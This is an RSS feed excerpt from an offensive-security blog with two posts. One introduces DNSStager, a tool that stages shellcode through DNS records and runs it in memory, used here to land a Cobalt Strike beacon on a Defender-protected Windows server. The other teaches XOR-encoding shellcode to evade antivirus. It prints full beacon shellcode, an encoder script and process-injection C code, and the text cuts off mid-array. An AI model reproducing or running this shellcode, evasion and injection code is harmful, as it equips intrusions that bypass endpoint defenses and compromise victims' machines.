shellcode – Shells.Systems https://shells.systems WE POP SHELLS Sun, 03 Aug 2025 09:42:53 +0000 en-US hourly 1 https://wordpress.org/?v=5.0.2 Unveiling DNSStager: A tool to hide your payload in DNS https://shells.systems/unveiling-dnsstager-a-tool-to-hide-your-payload-in-dns/ https://shells.systems/unveiling-dnsstager-a-tool-to-hide-your-payload-in-dns/#comments Sun, 23 May 2021 16:25:37 +0000 https://shells.systems/?p=1953 Estimated Reading Time: 8 minutesIn the past few weeks, I was working on a new project that could help me to solve an issue during a case I was facing, I needed a tool to help me pulling off my payload through DNS without being noisy or suspicious with the ability to inject this payload to the memory and...

The post Unveiling DNSStager: A tool to hide your payload in DNS appeared first on Shells.Systems.

]]>
Estimated Reading Time: 8 minutes

In the past few weeks, I was working on a new project that could help me to solve an issue during a case I was facing, I needed a tool to help me pulling off my payload through DNS without being noisy or suspicious with the ability to inject this payload to the memory and run it.

And after some work, I’m very glad to release DNSStager.

What is DNSStager?

DNSStager is is an open-source tool used to help Pentesters/RedTeamers to hide their payload in DNS and resolve it based on multiple DNS records such as IPv6  and TXT  and then Inject it into memory and run it for you.

DNSStager will create a fake DNS server for you that will resolve fake addresses of your domain based on AAAA and TXT records, these addresses are presenting a chunk of your payload encoded/encrypted and ready to use by the agent.

DNSStager can generate C or GoLang agent for you, You just need to define some variable for DNSStager and it will handle the whole process for you.

And this figure shows how DNSStager works:

So as we see from the previous figures, DNSStager client.exe will try to resolve N number of subdomains generated by DNSStager and each response of these domains are presenting a number of bytes of your encoded payload.

DNSStager will encode your payload, split it into chunks and make it ready to resolve via your client.exe agent, which could be C or GoLang agent, you can choose that when you start DNSStager and we will talk about that in a bit.

So after retrieving all the payload bytes, the DNSStager agent will inject them into memory and run them directly to execute the shellcode, the good thing here that you can customize the agent and implement your own techniques of process/memory injection to get your payload run after it got pulled through DNS.

DNSStager key features

  • Hide and Resolve your payload in IPv6 records.
  • Hide and Resolve your payload in TXT records.
  • XOR encoder to encode your payload.
  • Base64 encoder to encode your payload (only for TXT records).
  • A pure agent wrote in C with the ability to customize it.
  • A pure agent wrote in GoLang with the ability to customize it.
  • The ability to use sleep between each DNS request.
  • AND MUCH MORE TO COME!

Why use DNSStager?

A best use case for DNSStager is when you need to retrieve your payload through DNS while it’s the only channel available for you to receive data from.

You can use the C or GoLang client to resolve the full payload through DNS and customize the agent to use your own process/memory injection, which means you can fully customize it for your operation and your target.

DNSStager currently supports two DNS records to resolve the full payload which are:

  • IPv6 via AAAA record.
  • TXT record.

And of course much more to come soon!

DNSStager Installation

To install DNSStager you need to clone it first from the official repo using the following command:

git clone https://github.com/mhaskar/DNSStager

And then install all the python requirements of DNSStager using the following command:

pip3 install -r requirements.txt

Please note that you need Python3 in order to run DNSStager.

C Language dependencies

To compile the DNSStager C agent, you need to install ming-w64 using the following command:

apt install mingw-w64

GoLang dependencies

To compile the GoLang agent, you need to have the GoLang compiler v1.16 installed.

And after you install all the dependencies, you are ready now to start DNSStager using the following command:

./dnsstager.py

Please note that you need root privileges to start DNSStager.

You are good to go now!

Make sure to disable systemd-resolved before you run DNSStager.

DNS Setup

To use DNSStager, you need to make your domain point to DNSStager as his name server “DNS Server” in order to resolve and handle any DNS requests coming to your domain.

For example, I’m controlling a domain called mydnsserver.live I created a subdomain called test.mydnsserver.live and made mydnsserver.live the “NS” – Name Server of test.mydnsserver.live after running DNSStager on mydnsserver.live .

So in this case, any request coming to the domain test.mydnsserver.live will be handled by mydnsserver.live which is the DNSStager instance that we are running.

This means if you tried to resolve subdomain.test.mydnsserver.live DNSStager will resolve the value of subdomain.test.mydnsserver.live if it’s existed.

You can change the NS to any subdomain/domain you want, but in my case, I just took the main domain as the NS.

DNSStager Options

We can check DNSStager options using the switch -h like the following:

root@DNSStager:~/DNSStager# ./dnsstager.py -h
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT]
                    [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]

DNSStager main parser

optional arguments:
  -h, --help            show this help message and exit
  --domain DOMAIN       The domain you want to use as staging host
  --payloads            show all payloads
  --prefix PREFIX       Prefix to use as part of your subdomain schema
  --payload PAYLOAD     Payload to use, see --payloads for more details
  --output OUTPUT       Agent output path
  --shellcode_path SHELLCODE_PATH
                        Shellcode file path
  --xorkey XORKEY       XOR key to encode your payload with
  --sleep SLEEP         sleep for N seconds between each DNS request
root@DNSStager:~/DNSStager# 

  • –domain: you can use this option to select the main domain you will use to handle the DNS requests, in our case, it will be test.mydnsserver.live.
  • — prefix: The prefix you want to use for the subdomain schema For example if your main domain is test.mydnsserver.live you can specify the prefix as “cdn” for example, So the generated domains will be a pattern as the following:
    • cdn0.test.mydnsserver.live
    • cdn1.test.mydnsserver.live
    • cdnN.test.mydnsserver.live

Where N is auto-generated number represents the number of chunks of your payload.

  • –payload: the DNSStager payload “agent” you want to generate based on the technique, programming language, and architecture.
  • –output: Output path to save DNSStager executable payload “agent”.
  • –shellcode_path: Your raw/bin shellcode path.
  • –xorkey: XOR key to encode the payload with.
  • –sleep: Used to sleep for N seconds between each DNS request.

DNSStager payloads

You can check DNSStager payload using --payloads the option to get:

The structure of DNSStager payloads is:

arch/language/method

The method is the DNS record that you want DNSStager to translate your payload to.

And as mentioned, there are two modes currently to work with:

  • IPv6 (AAAA).
  • TXT.

DNSStager payload encoders

DNSStager encrypt your payload using XOR encoder/encrypter in case you are using IPv6 to represent your payload, and base64 in case you are using TXT to represent your payload.

If you are using TXT mode, the payload will be encoded using XOR too before being encoded using base64.

You can specify the xor key to encrypt your payload by using the --xorkey option.

And as OPSEC consideration, DNSStager will check if you didn’t choose the XOR key and ask you to enter the XOR key or procced without it like the following:

Extra encoders will be added in the future.

DNSStager Requests Sleep

You can specify the number of seconds to sleep between each DNS request, which will make the DNS query for these records less noise.

You can do that using the --sleep option followed by the number of seconds you want to sleep.

DNSStager usage example

Now let’s use DNSStager to compromise Windows Server 2019 with fully updated Windows Defender.

I will generate Cobalt Strike payload and save it to payload.bin file like the following:

Feel free to change the payload as you want.

And now I will upload this payload to my DNSStager instance:

All ready to run DNSStager now, my domain is test.mydnsserver.live and I will use cdn as my prefix and the rest of the options shown in this screenshot:

I encoded my payload with XOR key 0x20 with no sleep between the requests.

Lets test if everything is working well by using the following dig command to query for AAAA record for the domain cdn0.test.mydnsserver.live.

As we can see, the red box contains the first 16 bytes of our payload XOR encoded with 0x20.

To verify that, let’s read the first 16 bytes from payload.bin and XOR them with 0x20 to get the following:

As we can see, we got the same in the DNS response value after reading the first 16 bytes from the shellcode after encoding each byte with 0x20.

Now we are ready to send agent.exe to our target and see if we will get a beacon back to our Cobalt Strike.

Let’s open this file in Windows Server 2019 and see what we will get:

Perfect! we can see that we got a beacon back from DNSStager after pulling the full shellcode through DNS, encode it, and run it from memory.

And this GIF shows the process in action:

Observation

DNSStager agent will send a number of DNS in order to pull the full payload, of course, if you are using IPv6 the number of requests will be bigger than TXT because you are limited to 16 bytes per request only.

Now to see the traffic in action, let’s open Wireshark on our Windows Server 2019 and see what is going there!

A total of 59 DNS AAAA requests sent to pull the full payload, we can add some sleep between each request to make it less noisy!

And don’t forget that the process is depending on the size of the payload again, larger shellcodes mean more requests to send from the agent.

DNSStager Agent Customizing

You can modify the process injection technique you want to use for both GoLang and C agents, you can see the source code for both codes in the templates folder inside DNSStager main folder.

The C agent currently is doing a simple jump to the shellcode after pulling it from DNS, of course, you can customize that as you wish after editing the C agent template templates/client-ipv6-generic.c main function which has the following code:

int main(){

// Get Shellcode Address

LPVOID ShellcodeAddress = GetShellCodeAddress();

// Write your injection technique here
// And use ShellcodeAddress as your shellcode pointer

// Jump to shellcode -  Replace it with your technique 
goto *ShellcodeAddress;
}

In line number 95 you will have the address of the ready to use shellcode saved in a variable called ShellcodeAddress and then we use simple goto to jump to this address.

You can use ShellcodeAddress with your process/memory injection technique as you want now by editing this function.

For the GoLang agent, we are using the CreateFiber technique which is adopted from Ne0nd0g.

You can also customize it as you want by using the function retreiveShellcodeAsHex in both template files:

  • templates/client-ipv6-generic.go
  • templates/client-txt-generic.go

We will discuss that more in another article with more examples later on, so stay tuned for it 😉

Credits

I want to thank @TeslaPuls3 who wrote the GoLang agent for DNSStager and helped a lot during project testing.

Also want to thank @bb_hacks for the great support during writing/testing the tool.

Final Words

DNSStager is still under development project and this is the beta release of it, I tried to finish the main functions and make it stable as much as I can, of course, more work and fun ideas to come soon within the stable version but until then, please feel free to report any issue by opening a new issue.

You can get the latest version of DNSStager from the official Github repository.

Sponsoring this project

You can be a proud sponsor of DNSStager using Github sponsorship using this link.

The post Unveiling DNSStager: A tool to hide your payload in DNS appeared first on Shells.Systems.

]]>
https://shells.systems/unveiling-dnsstager-a-tool-to-hide-your-payload-in-dns/feed/ 7
In-Memory shellcode decoding to evade AVs/EDRs https://shells.systems/in-memory-shellcode-decoding-to-evade-avs/ https://shells.systems/in-memory-shellcode-decoding-to-evade-avs/#comments Sun, 26 Jul 2020 15:12:17 +0000 https://shells.systems/?p=1366 Estimated Reading Time: 9 minutesDuring the previous week, I was doing some research about win32 APIs and how we can use them during weaponizing our attack, I already did some work related to process injection in the past, but I was looking for something more advanced and to do an extra mile in process injection. So, I took my...

The post In-Memory shellcode decoding to evade AVs/EDRs appeared first on Shells.Systems.

]]>
Estimated Reading Time: 9 minutes

During the previous week, I was doing some research about win32 APIs and how we can use them during weaponizing our attack, I already did some work related to process injection in the past, but I was looking for something more advanced and to do an extra mile in process injection.

So, I took my simple vanilla shellcode injection C implementation and tried to take it to the next level by implementing a decoding routine for it and make sure that my shellcode will be written in the memory in an encoded way then it will be decoded later on runtime.

The vanilla process injection technique is very simple to use and to implement, you just need to Open the process you want, Allocate space on that process, Write your shellcode then execute it.

We will do almost the same thing here but I will encode my shellcode before by writing a simple python script to encode my shellcode, then, later on, we will let the C code decode that in runtime then write each byte in the memory after allocating the space we want.

Also, I will dig deeper inside some of WIn32 APIs and explain how each one is executed at low level.

process injection 101

As I mentioned before the vanilla process injection technique will do the following:

  • Open a process and retrieve a HANDLE for that process.
  • Allocate Space in the remote process (retrieve a memory address).
  • Write the data (shellcode) inside that process.
  • Execute the shellcode.

We can perform these steps with a couple of Win32 APIs which are:

In the normal case, we will write the raw data “shellcode” directly to the memory as it is, but if the shellcode is detected by AVs/EDRs they will definitely raise an alert about that, so, we need to encode our shellcode and save it as encoded shellcode inside our binary, then, we need to decode it and write it to the memory to avoid detection.

Shellcode encoding

We need to encode our shellcode to avoid detection as I mentioned before and to do that, we need to modify that shellcode in a reversible way that could be used to retrieve the original status of our shellcode, and we can do that by performing some changes on each opcode such as:

  • XOR
  • ADD
  • Subtract
  • SWAP

I will use XOR bitwise operation on each opcode of my shellcode, I will use Cobalt Strike beacon as my shellcode, and it will be the following shellcode:

/* length: 887 bytes */
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x56\x1f\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x35\x6e\x6b\x4f\x00\x03\x9a\xf4\xbb\xe0\xdd\x3e\x6c\x87\xa5\x05\x4b\x82\x51\x2f\xd5\x68\x67\x15\xd6\xfd\x10\xf3\xa5\x90\x60\xea\xba\xfe\x1f\x26\x2d\x04\xf3\xec\xcb\xd4\x73\x94\x57\x98\x5e\xde\xec\xb8\x3e\xd9\x4e\x32\xcc\x38\xe3\x94\x06\x1d\x73\x2d\xb3\xd4\x62\x26\xca\x5a\xae\x52\xef\xf4\xc0\x81\x77\x97\xce\xd5\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x47\x54\x42\x37\x2e\x34\x3b\x20\x49\x6e\x66\x6f\x50\x61\x74\x68\x2e\x32\x29\x0d\x0a\x00\x61\xe2\x49\x6c\xb5\x31\x92\x20\x19\xc9\xaa\x69\x2b\xbc\xc1\x8b\x28\xf9\x80\x6c\x92\xac\xba\xea\x06\x32\x05\xc2\x38\x1b\x0f\x3e\x85\x39\xc3\x8a\x12\x21\xe7\x51\x80\x80\x30\x02\xe7\xcc\x8f\x34\x38\xd1\xe2\x48\xf0\x28\x21\xe9\xd7\xa6\x47\x58\x0e\x48\x8c\x1d\x16\xad\x7d\xad\xbd\xa4\x40\x58\x4b\x5f\x3d\xa9\xd0\x55\x19\xdf\x43\xf1\x69\xba\x0c\x81\x6f\x91\x72\x94\xc6\x65\xb4\x8d\x5b\x04\x58\x68\x72\x93\xc3\xbc\x46\x11\x0b\xf8\x50\x26\x52\x15\x49\xdb\x36\x0d\x75\x5d\x81\x5d\x47\x1b\x0f\x5e\x25\x50\x34\x23\xc1\x69\xfd\x22\x75\x5d\xea\xa4\x2e\x40\x98\x12\x72\x8e\xd4\xde\xef\xf2\x42\xdd\x08\x6b\xa3\x74\x13\x6c\xa9\x82\xfc\x25\xec\xe6\x22\xea\x9b\x4b\x58\xa8\x85\x67\xa1\x78\x1e\xaa\x07\x31\xd7\xcf\x4a\x74\xf1\x30\x63\x3e\x0e\x5c\x17\x53\x2f\x69\x67\x92\xf8\x28\xfe\xd6\x6f\xce\x06\xc5\xdd\xb2\x0d\x71\xf4\xda\x18\x5e\x26\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x30\x2e\x30\x2e\x31\x00\x58\x56\x3d\xd2";

And the following code will be our encoder:

#!/usr/bin/python

import sys

raw_data = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x56\x1f\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x35\x6e\x6b\x4f\x00\x03\x9a\xf4\xbb\xe0\xdd\x3e\x6c\x87\xa5\x05\x4b\x82\x51\x2f\xd5\x68\x67\x15\xd6\xfd\x10\xf3\xa5\x90\x60\xea\xba\xfe\x1f\x26\x2d\x04\xf3\xec\xcb\xd4\x73\x94\x57\x98\x5e\xde\xec\xb8\x3e\xd9\x4e\x32\xcc\x38\xe3\x94\x06\x1d\x73\x2d\xb3\xd4\x62\x26\xca\x5a\xae\x52\xef\xf4\xc0\x81\x77\x97\xce\xd5\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x47\x54\x42\x37\x2e\x34\x3b\x20\x49\x6e\x66\x6f\x50\x61\x74\x68\x2e\x32\x29\x0d\x0a\x00\x61\xe2\x49\x6c\xb5\x31\x92\x20\x19\xc9\xaa\x69\x2b\xbc\xc1\x8b\x28\xf9\x80\x6c\x92\xac\xba\xea\x06\x32\x05\xc2\x38\x1b\x0f\x3e\x85\x39\xc3\x8a\x12\x21\xe7\x51\x80\x80\x30\x02\xe7\xcc\x8f\x34\x38\xd1\xe2\x48\xf0\x28\x21\xe9\xd7\xa6\x47\x58\x0e\x48\x8c\x1d\x16\xad\x7d\xad\xbd\xa4\x40\x58\x4b\x5f\x3d\xa9\xd0\x55\x19\xdf\x43\xf1\x69\xba\x0c\x81\x6f\x91\x72\x94\xc6\x65\xb4\x8d\x5b\x04\x58\x68\x72\x93\xc3\xbc\x46\x11\x0b\xf8\x50\x26\x52\x15\x49\xdb\x36\x0d\x75\x5d\x81\x5d\x47\x1b\x0f\x5e\x25\x50\x34\x23\xc1\x69\xfd\x22\x75\x5d\xea\xa4\x2e\x40\x98\x12\x72\x8e\xd4\xde\xef\xf2\x42\xdd\x08\x6b\xa3\x74\x13\x6c\xa9\x82\xfc\x25\xec\xe6\x22\xea\x9b\x4b\x58\xa8\x85\x67\xa1\x78\x1e\xaa\x07\x31\xd7\xcf\x4a\x74\xf1\x30\x63\x3e\x0e\x5c\x17\x53\x2f\x69\x67\x92\xf8\x28\xfe\xd6\x6f\xce\x06\xc5\xdd\xb2\x0d\x71\xf4\xda\x18\x5e\x26\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x30\x2e\x30\x2e\x31\x00\x58\x56\x3d\xd2"

new_shellcode = []
for opcode in raw_data:
        new_opcode = (ord(opcode) ^ 0x01)
        new_shellcode.append(new_opcode)


print "".join(["\\x{0}".format(hex(abs(i)).replace("0x", "")) for i in new_shellcode])

This script will read each opcode of our shellcode then it will xor it with the byte 0x01 which is our key in this case, then it will append each encoded opcode into a new list and finally, it will print it as a shellcode like the following:

We got the encoded shellcode after running the script, we are ready now to move on.

We will now start implementing the C code that will perform the shellcode injection for us, I will walk through every win32 API to explain that.

Open process and retrieve a handle

We need to choose a process to inject our shellcode to it, and to do that, we need to retrieve a handle for that process so we can perform some actions on it, and to do that, we will use OpenProcess win32 API using the following code:

#include <windows.h>


int main(int argc, char *argv[]){

  // The PID that you want to use
  // You can use GetCurrentProcessId() to get the current PID
  int process_id = atoi(argv[1]);

  // Declare a new handle as process variable
  // PROCESS_ALL_ACCESS
  HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);

  // If the operation succeeded it will return the handle
  if(process){
    printf("[+] Handle retrieved successfully!\n");

    // We can print it as pointer using printf
    printf("[+] Handle value is %p\n", process);
  }else{
    printf("[-] Enable to retrieve process handle\n");
  }

}

This code will take the process id that you want to get a handle for as a first argument to the code, then it will use OpenProcess() with PROCESS_ALL_ACCESS access right to open the process and save the handle in the variable process and finally, it will print the handle for us.

The OpenProcess() function actually takes 3 parameters you can check them via this page.

Also, You can check all access rights from this page.

And after compiling the code and run it to retrieve the handle of the process “explorer.exe” with pid 4032, we will get the following:

We retrieved the handle successfully.

Allocate space on the remote process

Next step after retrieving the handle will be Allocating space inside that process, we can do that using VirtualAllocEx() using the following code:

#include <windows.h>


int main(int argc, char *argv[]){


   char data[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
   
  // The PID that you want to use
   int process_id = atoi(argv[1]);

  // Declare a new handle as process variable
  // PROCESS_ALL_ACCESS
  HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);

  // If the operation succeeded it will return the handle
  if(process){
    printf("[+] Handle retrieved successfully!\n");

    // We can print it as pointer using printf
    printf("[+] Handle value is %p\n", process);
    
    // Allocate space
    // Define the base_address variable which will save the allocated memory address
	LPVOID base_address;
    base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if(base_address){

        printf("[+] Allocated based address is 0x%x\n", base_address);

	}else{
		printf("[-] Unable to allocate memory ...\n");
	}
    
  }else{
    printf("[-] Unable to retrieve process handle\n");
  }

}

I added some data in line #7 as a dump data (will be replaced with our shellcode), we should have it to allocate the memory based on its size.

In line #25 we declared a variable called “base_address” as LPVOID which will represent the base address of the allocated memory.

And in line #26 we use VirtualAllocEx() and pass the following parameters for it:

  • process: which is the handle that we retrieved earlier using OpenProcess()
  • Null: to make sure that the function will allocate address automatically instead of using one that we know.
  • sizeof(data): the size of the data that will be written to memory.
  • MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE: the allocation type that we want to use, which describe what we want to do inside that allocated region of memory which is read write execute (RWX)

Allocating memory region with RWX it’s not very stealthy, and the EDRs could consider it as suspicious action.

And finally, in line #29 we will print the address of the allocated memory, which we will write our data on, and by running the code we will get the following:

We got the address “0xa50000” as our base address.

Let me explain that more and tell you what that address exactly means, and to do that, I will attach my debugger to explorer.exe and see what we have at that address:

Then I will go to the address “0xa50000” like the following:

Choose expression and enter the address:

To get the following results:

As we can see, the function VirtualAllocEx has allocated memory space in explorer.exe for us and we are ready to write our data.

Write data to memory

Now here is the most important part of our technique, we will decode the original opcodes and write it directly to memory, we will do that by start writing our data from “0xA50000” and increase the address one by one reach the next memory address.

We used xor to encode our shellcode, now we will use the same value to decode each byte and retrieve the original status of each opcode, and that is an example about this operation:

hex(ord("\xfc") ^ 0x01) # = 0xfd
hex(ord"\xfd") ^ 0x01) # = 0xfc 

So by XORing each opcode with 0x01, we will retrieve the original shellcode but this time without getting caught via static analysis (signature-based) detection by AVs/EDRs because it will be written directly to the memory in runtime.

Even with this type of encoding your payload may get flagged, so make sure to use stronger encoding and test it before using in your operation.

The following code will achieve that for us:

#include <windows.h>


int main(int argc, char *argv[]){



   unsigned char data[] = "\xfd\x49\x82\xe5\xf1\xe9\xc9\x1\x1\x1\x40\x50\x40\x51\x53\x50\x57\x49\x30\xd3\x64\x49\x8a\x53\x61\x49\x8a\x53\x19\x49\x8a\x53\x21\x49\x8a\x73\x51\x49\xe\xb6\x4b\x4b\x4c\x30\xc8\x49\x30\xc1\xad\x3d\x60\x7d\x3\x2d\x21\x40\xc0\xc8\xc\x40\x0\xc0\xe3\xec\x53\x40\x50\x49\x8a\x53\x21\x8a\x43\x3d\x49\x0\xd1\x67\x80\x79\x19\xa\x3\x74\x73\x8a\x81\x89\x1\x1\x1\x49\x84\xc1\x75\x66\x49\x0\xd1\x51\x8a\x49\x19\x45\x8a\x41\x21\x48\x0\xd1\xe2\x57\x49\xfe\xc8\x40\x8a\x35\x89\x49\x0\xd7\x4c\x30\xc8\x49\x30\xc1\xad\x40\xc0\xc8\xc\x40\x0\xc0\x39\xe1\x74\xf0\x4d\x2\x4d\x25\x9\x44\x38\xd0\x74\xd9\x59\x45\x8a\x41\x25\x48\x0\xd1\x67\x40\x8a\xd\x49\x45\x8a\x41\x1d\x48\x0\xd1\x40\x8a\x5\x89\x49\x0\xd1\x40\x59\x40\x59\x5f\x58\x5b\x40\x59\x40\x58\x40\x5b\x49\x82\xed\x21\x40\x53\xfe\xe1\x59\x40\x58\x5b\x49\x8a\x13\xe8\x4e\xfe\xfe\xfe\x5c\x6b\x1\x48\xbf\x76\x68\x6f\x68\x6f\x64\x75\x1\x40\x57\x48\x88\xe7\x4d\x88\xf0\x40\xbb\x4d\x76\x27\x6\xfe\xd4\x49\x30\xc8\x49\x30\xd3\x4c\x30\xc1\x4c\x30\xc8\x40\x51\x40\x51\x40\xbb\x3b\x57\x78\xa6\xfe\xd4\xea\x72\x5b\x49\x88\xc0\x40\xb9\x57\x1e\x1\x1\x4c\x30\xc8\x40\x50\x40\x50\x6b\x2\x40\x50\x40\xbb\x56\x88\x9e\xc7\xfe\xd4\xea\x58\x5a\x49\x88\xc0\x49\x30\xd3\x48\x88\xd9\x4c\x30\xc8\x53\x69\x1\x3\x41\x85\x53\x53\x40\xbb\xea\x54\x2f\x3a\xfe\xd4\x49\x88\xc7\x49\x82\xc2\x51\x6b\xb\x5e\x49\x88\xf0\x49\x88\xdb\x48\xc6\xc1\xfe\xfe\xfe\xfe\x4c\x30\xc8\x53\x53\x40\xbb\x2c\x7\x19\x7a\xfe\xd4\x84\xc1\xe\x84\x9c\x0\x1\x1\x49\xfe\xce\xe\x85\x8d\x0\x1\x1\xea\xd2\xe8\xe5\x0\x1\x1\xe9\xa3\xfe\xfe\xfe\x2e\x34\x6f\x6a\x4